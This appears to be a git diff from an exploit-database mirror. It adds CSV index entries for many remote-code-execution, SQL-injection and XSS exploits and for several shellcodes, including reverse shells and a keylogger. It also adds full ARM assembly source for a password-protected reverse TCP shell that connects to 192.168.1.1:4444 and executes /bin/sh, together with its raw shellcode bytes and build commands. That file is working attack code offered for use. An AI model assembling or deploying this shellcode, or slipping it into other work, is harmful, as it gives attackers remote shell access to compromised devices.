24944,exploits/windows/remote/24944.py,"Freefloat FTP Server 1.0 - DEP Bypass with ROP",2013-04-10,negux,remote,windows,
|
||||
24945,exploits/hardware/remote/24945.rb,"Linksys WRT54GL - 'apply.cgi' Command Execution (Metasploit)",2013-04-10,Metasploit,remote,hardware,
|
||||
24946,exploits/multiple/remote/24946.rb,"Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasploit)",2013-04-10,Metasploit,remote,multiple,
|
||||
24947,exploits/linux/remote/24947.txt,"MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution",2013-04-08,agixid,remote,linux,
|
||||
24947,exploits/linux/remote/24947.txt,"MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution",2013-04-08,agix,remote,linux,
|
||||
24956,exploits/hardware/remote/24956.rb,"D-Link DIR-645 / DIR-815 - 'diagnostic.php' Command Execution (Metasploit)",2013-04-12,Metasploit,remote,hardware,
|
||||
24958,exploits/windows/remote/24958.py,"MinaliC WebServer 2.0.0 - Remote Buffer Overflow",2013-04-15,superkojiman,remote,windows,
|
||||
24961,exploits/windows/remote/24961.html,"FirePHP Firefox Plugin 0.7.1 - Remote Command Execution",2013-04-17,Wireghoul,remote,windows,
|
||||
|
@ -37179,6 +37184,62 @@ id,file,description,date,author,type,platform,port
|
|||
43682,exploits/hardware/webapps/43682.txt,"Belkin N600DB Wireless Router - Multiple Vulnerabilities",2018-01-17,Wadeek,webapps,hardware,
|
||||
43683,exploits/php/webapps/43683.txt,"SugarCRM 3.5.1 - Cross-Site Scripting",2018-01-17,"Guilherme Assmann",webapps,php,
|
||||
43733,exploits/java/webapps/43733.rb,"Primefaces 5.x - Remote Code Execution (Metasploit)",2018-01-18,"Bjoern Schuette",webapps,java,
|
||||
43777,exploits/php/webapps/43777.py,"GitStack 2.3.10 - Unauthenticated Remote Code Execution",2018-01-18,"Kacper Szurek",webapps,php,
|
||||
43789,exploits/php/webapps/43789.txt,"Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC)",2003-12-15,"GulfTech Security",webapps,php,
|
||||
43790,exploits/php/webapps/43790.txt,"Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC)",2003-12-16,"GulfTech Security",webapps,php,
|
||||
43791,exploits/php/webapps/43791.txt,"Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities",2003-12-16,"GulfTech Security",webapps,php,
|
||||
43788,exploits/asp/webapps/43788.txt,"DUWare Multiple Products - Multiple Vulnerabilities",2003-12-15,"GulfTech Security",webapps,asp,
|
||||
43792,exploits/php/webapps/43792.txt,"AutoRank PHP < 2.0.4 - SQL Injection (PoC)",2003-12-18,"GulfTech Security",webapps,php,
|
||||
43793,exploits/asp/webapps/43793.txt,"ASPapp Multiple Products - Multiple Vulnerabilities",2003-12-18,"GulfTech Security",webapps,asp,
|
||||
43794,exploits/php/webapps/43794.txt,"osCommerce < 2.2-MS2 - Multiple Vulnerabilities",2003-12-22,"GulfTech Security",webapps,php,
|
||||
43795,exploits/php/webapps/43795.txt,"PostNuke < 0.726 Phoenix - Multiple Vulnerabilities",2004-01-03,"GulfTech Security",webapps,php,
|
||||
43796,exploits/perl/webapps/43796.txt,"MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities",2004-01-12,"GulfTech Security",webapps,perl,
|
||||
43797,exploits/php/webapps/43797.txt,"phpGedView < 2.65 beta 5 - Multiple Vulnerabilities",2004-01-13,"GulfTech Security",webapps,php,
|
||||
43798,exploits/php/webapps/43798.txt,"phpShop < 0.6.1-b - Multiple Vulnerabilities",2004-01-13,"GulfTech Security",webapps,php,
|
||||
43800,exploits/php/webapps/43800.txt,"Invision Power Board (IP.Board) < 1.3 - SQL Injection",2004-03-02,"GulfTech Security",webapps,php,
|
||||
43801,exploits/php/webapps/43801.txt,"phpBB < 2.0.6d - Cross Site Scripting",2004-03-12,"GulfTech Security",webapps,php,
|
||||
43802,exploits/php/webapps/43802.txt,"Phorum < 5.0.3 Beta - Cross Site Scripting",2004-03-15,"GulfTech Security",webapps,php,
|
||||
43803,exploits/php/webapps/43803.txt,"vBulletin < 3.0.0 RC4 - Cross Site Scripting",2004-03-15,"GulfTech Security",webapps,php,
|
||||
43804,exploits/php/webapps/43804.txt,"Mambo < 4.5 - Multiple Vulnerabilities",2004-03-15,"GulfTech Security",webapps,php,
|
||||
43805,exploits/php/webapps/43805.txt,"phpBB < 2.0.7a - Multiple Vulnerabilities",2004-03-20,"GulfTech Security",webapps,php,
|
||||
43806,exploits/php/webapps/43806.txt,"Invision Power Top Site List < 1.1 RC 2 - SQL Injection",2004-03-21,"GulfTech Security",webapps,php,
|
||||
43807,exploits/php/webapps/43807.txt,"Invision Gallery < 1.0.1 - SQL Injection",2004-03-21,"GulfTech Security",webapps,php,
|
||||
43808,exploits/php/webapps/43808.txt,"PhotoPost < 4.6 - Multiple Vulnerabilities",2004-03-28,"GulfTech Security",webapps,php,
|
||||
43809,exploits/php/webapps/43809.txt,"TikiWiki < 1.8.1 - Multiple Vulnerabilities",2004-04-11,"GulfTech Security",webapps,php,
|
||||
43810,exploits/php/webapps/43810.txt,"phpBugTracker < 0.9.1 - Multiple Vulnerabilities",2004-04-14,"GulfTech Security",webapps,php,
|
||||
43811,exploits/php/webapps/43811.txt,"OpenBB < 1.0.6 - Multiple Vulnerabilities",2004-04-24,"GulfTech Security",webapps,php,
|
||||
43812,exploits/php/webapps/43812.txt,"PHPX < 3.26 - Multiple Vulnerabilities",2004-05-04,"GulfTech Security",webapps,php,
|
||||
43813,exploits/php/webapps/43813.txt,"Invision Power Board (IP.Board) < 1.3.1 - Design Error",2004-05-04,"GulfTech Security",webapps,php,
|
||||
43814,exploits/php/webapps/43814.txt,"HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities",2004-05-17,"GulfTech Security",webapps,php,
|
||||
43815,exploits/asp/webapps/43815.txt,"LiveWorld Multiple Products - Cross Site Scripting",2014-08-23,"GulfTech Security",webapps,asp,
|
||||
43818,exploits/php/webapps/43818.txt,"WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities",2014-12-27,"GulfTech Security",webapps,php,
|
||||
43819,exploits/php/webapps/43819.txt,"PHP-Calendar < 0.10.1 - Arbitrary File Inclusion",2014-12-29,"GulfTech Security",webapps,php,
|
||||
43820,exploits/php/webapps/43820.txt,"PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities",2015-01-01,"GulfTech Security",webapps,php,
|
||||
43821,exploits/php/webapps/43821.txt,"ReviewPost < 2.84 - Multiple Vulnerabilities",2015-01-02,"GulfTech Security",webapps,php,
|
||||
43822,exploits/php/webapps/43822.txt,"PhotoPost < 4.85 - Multiple Vulnerabilities",2015-01-03,"GulfTech Security",webapps,php,
|
||||
43823,exploits/php/webapps/43823.txt,"AZBB < 1.0.07d - Multiple Vulnerabilities",2015-04-19,"GulfTech Security",webapps,php,
|
||||
43824,exploits/php/webapps/43824.txt,"Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities",2015-05-05,"GulfTech Security",webapps,php,
|
||||
43825,exploits/php/webapps/43825.txt,"Burning Board < 2.3.1 - SQL Injection",2015-05-16,"GulfTech Security",webapps,php,
|
||||
43827,exploits/php/webapps/43827.txt,"XOOPS < 2.0.11 - Multiple Vulnerabilities",2015-06-29,"GulfTech Security",webapps,php,
|
||||
43828,exploits/php/webapps/43828.txt,"PEAR XML_RPC < 1.3.0 - Remote Code Execution",2015-07-01,"GulfTech Security",webapps,php,
|
||||
43829,exploits/php/webapps/43829.txt,"PHPXMLRPC < 1.1 - Remote Code Execution",2015-07-02,"GulfTech Security",webapps,php,
|
||||
43830,exploits/php/webapps/43830.txt,"SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite",2015-07-14,"GulfTech Security",webapps,php,
|
||||
43831,exploits/php/webapps/43831.txt,"XPCOM - Race Condition",2015-07-21,"GulfTech Security",webapps,php,
|
||||
43832,exploits/php/webapps/43832.txt,"ADOdb < 4.71 - Cross Site Scripting",2016-02-18,"GulfTech Security",webapps,php,
|
||||
43833,exploits/php/webapps/43833.txt,"Geeklog < 1.4.0 - Multiple Vulnerabilities",2016-02-19,"GulfTech Security",webapps,php,
|
||||
43834,exploits/php/webapps/43834.txt,"PEAR LiveUser < 0.16.8 - Arbitrary File Access",2016-02-21,"GulfTech Security",webapps,php,
|
||||
43835,exploits/php/webapps/43835.txt,"Mambo < 4.5.3h - Multiple Vulnerabilities",2016-02-24,"GulfTech Security",webapps,php,
|
||||
43836,exploits/php/webapps/43836.txt,"phpRPC < 0.7 - Remote Code Execution",2016-02-26,"GulfTech Security",webapps,php,
|
||||
43837,exploits/php/webapps/43837.txt,"Gallery 2 < 2.0.2 - Multiple Vulnerabilities",2016-03-02,"GulfTech Security",webapps,php,
|
||||
43838,exploits/php/webapps/43838.txt,"PHPLib < 7.4 - SQL Injection",2016-03-05,"GulfTech Security",webapps,php,
|
||||
43839,exploits/php/webapps/43839.txt,"SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite",2016-08-11,"GulfTech Security",webapps,php,
|
||||
43840,exploits/php/webapps/43840.txt,"CubeCart < 3.0.12 - Multiple Vulnerabilities",2016-08-28,"GulfTech Security",webapps,php,
|
||||
43841,exploits/php/webapps/43841.txt,"Claroline < 1.7.7 - Arbitrary File Inclusion",2016-08-14,"GulfTech Security",webapps,php,
|
||||
43842,exploits/php/webapps/43842.txt,"X-Cart < 4.1.3 - Arbitrary Variable Overwrite",2016-08-18,"GulfTech Security",webapps,php,
|
||||
43843,exploits/php/webapps/43843.txt,"Mambo < 4.5.4 - SQL Injection",2016-10-04,"GulfTech Security",webapps,php,
|
||||
43844,exploits/php/webapps/43844.txt,"Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities",2018-01-08,"GulfTech Security",webapps,php,
|
||||
43845,exploits/php/webapps/43845.txt,"D-Link DNS-343 ShareCenter < 1.05 - Command Injection",2018-01-15,"GulfTech Security",webapps,php,
|
||||
43846,exploits/php/webapps/43846.txt,"D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities",2018-01-15,"GulfTech Security",webapps,php,
|
||||
40542,exploits/php/webapps/40542.txt,"Student Information System (SIS) 0.1 - Authentication Bypass",2016-10-14,lahilote,webapps,php,
|
||||
40543,exploits/php/webapps/40543.txt,"Web Based Alumni Tracking System 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php,
|
||||
40544,exploits/php/webapps/40544.txt,"Simple Dynamic Web 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
|
@ -754,6 +754,7 @@ id,file,description,date,author,type,platform
|
|||
43772,shellcodes/windows_x86/43772.c,"Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (42 bytes)",2009-01-01,ZoRLu,shellcode,windows_x86
|
||||
43773,shellcodes/windows_x86/43773.c,"Windows/x86 (XP SP3) (English) - calc Shellcode (16 bytes)",2010-07-10,"John Leitch",shellcode,windows_x86
|
||||
43774,shellcodes/windows_x86/43774.c,"Windows/x86 (XP SP3) - MessageBox Shellcode (11 bytes)",2009-01-01,d3c0der,shellcode,windows_x86
|
||||
43778,shellcodes/arm/43778.asm,"Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)",2018-01-15,rtmcx,shellcode,arm
|
||||
40549,shellcodes/windows_x86-64/40549.c,"Windows/x86-64 - cmd.exe WinExec() Shellcode (93 bytes)",2016-10-17,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64
|
||||
40560,shellcodes/windows_x86/40560.asm,"Windows/x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes)",2016-10-17,Fugu,shellcode,windows_x86
|
||||
40781,shellcodes/windows_x86-64/40781.c,"Windows/x86-64 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes)",2016-11-18,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64
|
||||
|
|
|
161
shellcodes/arm/43778.asm
Normal file
161
shellcodes/arm/43778.asm
Normal file
|
@ -0,0 +1,161 @@
|
|||
/*
|
||||
* Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
|
||||
* Date: 2018-01-15
|
||||
* Tested: armv7l (Raspberry Pi v3)
|
||||
* Author: rtmcx - twitter: @rtmcx
|
||||
*/
|
||||
|
||||
.section .text
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
/* Enter Thumb mode */
|
||||
.ARM
|
||||
add r6, pc, #1
|
||||
bx r6
|
||||
|
||||
|
||||
.THUMB
|
||||
|
||||
/* Create a new socket*/
|
||||
/* socket(PF_INET, SOCK_STREAM, 0);
|
||||
r0 = 2, r = 1, r2 = 0
|
||||
r7 = 281 (SYSCALL for socket)
|
||||
*/
|
||||
mov r0, #2 // PF_INET = 2
|
||||
mov r1, #1 // SOCK_STREAM = 1
|
||||
eor r2, r2, r2 // Zero out r2
|
||||
mov r7, #100 // Put 281 in r7..
|
||||
add r7, #181 // ..in a 2-step operation
|
||||
svc #1 // syscall returns sockid in r0
|
||||
|
||||
mov r4, r0 // Save sockid in r4
|
||||
|
||||
|
||||
/* Connect to client */
|
||||
/* connect(int sockid, const struct sockaddr *addr, int addrlen);
|
||||
r0 = sockid, r1 = <struct address>, r2 = 16
|
||||
r7 = 283 (SYSCALL for connect)
|
||||
*/
|
||||
adr r1, struct_addr // Address to struct_addr
|
||||
strb r2, [r1, #1] // Replace AF_INET with NULL
|
||||
mov r2, #16 // Address length
|
||||
add r7, #2 // r7 already contains 281, so add 2 = 283
|
||||
svc #1 // Client sockid will be returned in r0
|
||||
|
||||
|
||||
/* Send message */
|
||||
/* send(sockid, message, mess_len, 0);
|
||||
r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0
|
||||
R7 = 289 (syscall for send)
|
||||
*/
|
||||
mov r0, r4 // Restore sockid to r0
|
||||
adr r1, prompt // Load address to string "passwd" in r1
|
||||
mov r2, #8 // 'passwd: ' is 8 bytes
|
||||
eor r3, r3, r3 // Make r3 null
|
||||
add r7, #6 // r7 has 283, add 6 to get 289
|
||||
svc #1 // Execute syscall
|
||||
|
||||
|
||||
/* Get the response (recv) */
|
||||
/* ssize_t recv(int sockid, void *buf, size_t len, int flags);
|
||||
r0 = sockid, r1 = buffer_space, r2 = length, r3 = null
|
||||
r7 = 291 (recv)
|
||||
*/
|
||||
mov r0, r4 // Restore sockid to r0
|
||||
adr r1, response // Load the address to store input in into r1
|
||||
mov r2, #8 // Read 8 characters
|
||||
eor r3, r3 ,r3 // Zero out r3
|
||||
add r7, #2 // r7 has 289, add 2 to get 291
|
||||
svc #1 // Execute syscall
|
||||
|
||||
|
||||
/* Compare the received answer to the stored password */
|
||||
adr r5, passwd // Store address to password in r5
|
||||
mov r6, #9 // Use r6 as counter for number of bytes in password
|
||||
// (9 to 1 to avoid null)
|
||||
cmp_loop:
|
||||
ldrb r2, [r5] // Put one byte from r5 in r2
|
||||
ldrb r3, [r1] // Put one byte from r1 in r3
|
||||
|
||||
cmp r2, r3 // Compare the bytes
|
||||
bne _exit // Not equal, exit
|
||||
|
||||
add r5, #1 // Next byte in password
|
||||
add r1, #1 // Next byte in input
|
||||
sub r6, #1 // Decrement counter
|
||||
|
||||
cmp r6, #1 // Are we at 1 yet?
|
||||
bne cmp_loop // No, next byte
|
||||
|
||||
|
||||
/* Duplicate STDIN, STDOUT and STERR */
|
||||
/* dup2(client_sock_fd, STDIN/STDOUT/STDERR);
|
||||
r0 = sockid, r1 = 0/1/2
|
||||
r7 = 63 (syscall for dup2)
|
||||
*/
|
||||
mov r0, r4 // Saved sockid
|
||||
eor r1, r1, r1 // Zero r1 for STDIN
|
||||
mov r7, #63 // Syscall for dup2
|
||||
svc #1 // Execute syscall
|
||||
|
||||
mov r0, r4 // Saved sockid
|
||||
add r1, #1 // STDOUT (1)
|
||||
svc #1 // Execute syscall
|
||||
|
||||
mov r0, r4 // Saved sockid
|
||||
add r1, #1 // STDERR (2)
|
||||
svc #1 // Execute syscall
|
||||
|
||||
|
||||
/* Execute shell */
|
||||
/* execve('/bin/sh', 0, 0);
|
||||
r0 --> "/bin/sh", r1 = 0, r2 = 0
|
||||
r7 = 11 (syscall for execve)
|
||||
*/
|
||||
adr r0, shellcode // Address to "/bin/sh"
|
||||
eor r1, r1, r1 // Zero out r1
|
||||
eor r2, r2, r2 // And r2
|
||||
strb r2, [r0, #7] // Replace 'X' with NULL
|
||||
mov r7, #11 // Syscall for execve
|
||||
svc #1 // Execute syscall
|
||||
|
||||
|
||||
/* Exit (if wrong password was provided) */
|
||||
_exit:
|
||||
mov r0, #1 // return 1
|
||||
mov r7, #1 // syscall number for exit
|
||||
svc #1 // execute syscall
|
||||
|
||||
|
||||
/* */
|
||||
struct_addr:
|
||||
.ascii "\x02\xaa" // AF_INET 0xff will be NULLed
|
||||
.ascii "\x11\x5c" // port 4444
|
||||
.ascii "\xc0\xa8\x01\x01" // IP Address (192.168.1.1)
|
||||
|
||||
shellcode:
|
||||
.ascii "/bin/shX"
|
||||
|
||||
prompt:
|
||||
.ascii "passwd:\x20" // prompt for password, with space
|
||||
|
||||
response:
|
||||
.ascii "xxxxxxxx" // Place to store the response
|
||||
|
||||
passwd:
|
||||
.ascii "MyPasswd" // The correct password
|
||||
|
||||
|
||||
/*
|
||||
Compile and link with:
|
||||
# as -o shellcode.o shellcode.s
|
||||
# ld -N shellcode.o -o shellcode
|
||||
|
||||
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x17\xa1\x4a\x70
|
||||
\x10\x22\x02\x37\x01\xdf\x20\x1c\x18\xa1\x08\x22\x5b\x40\x06\x37\x01\xdf\x20\x1c\x17\xa1\x08\x22\x5b\x40
|
||||
\x02\x37\x01\xdf\x16\xa5\x09\x26\x2a\x78\x0b\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1
|
||||
\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x06\xa0\x49\x40\x52\x40
|
||||
\xc2\x71\x0b\x27\x01\xdf\x01\x20\x01\x27\x01\xdf\x02\xaa\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73
|
||||
\x68\x58\x70\x61\x73\x73\x77\x64\x3a\x20\x78\x78\x78\x78\x78\x78\x78\x78\x4d\x79\x50\x61\x73\x73\x77\x64
|
||||
*/
|
Loading…
Add table
Reference in a new issue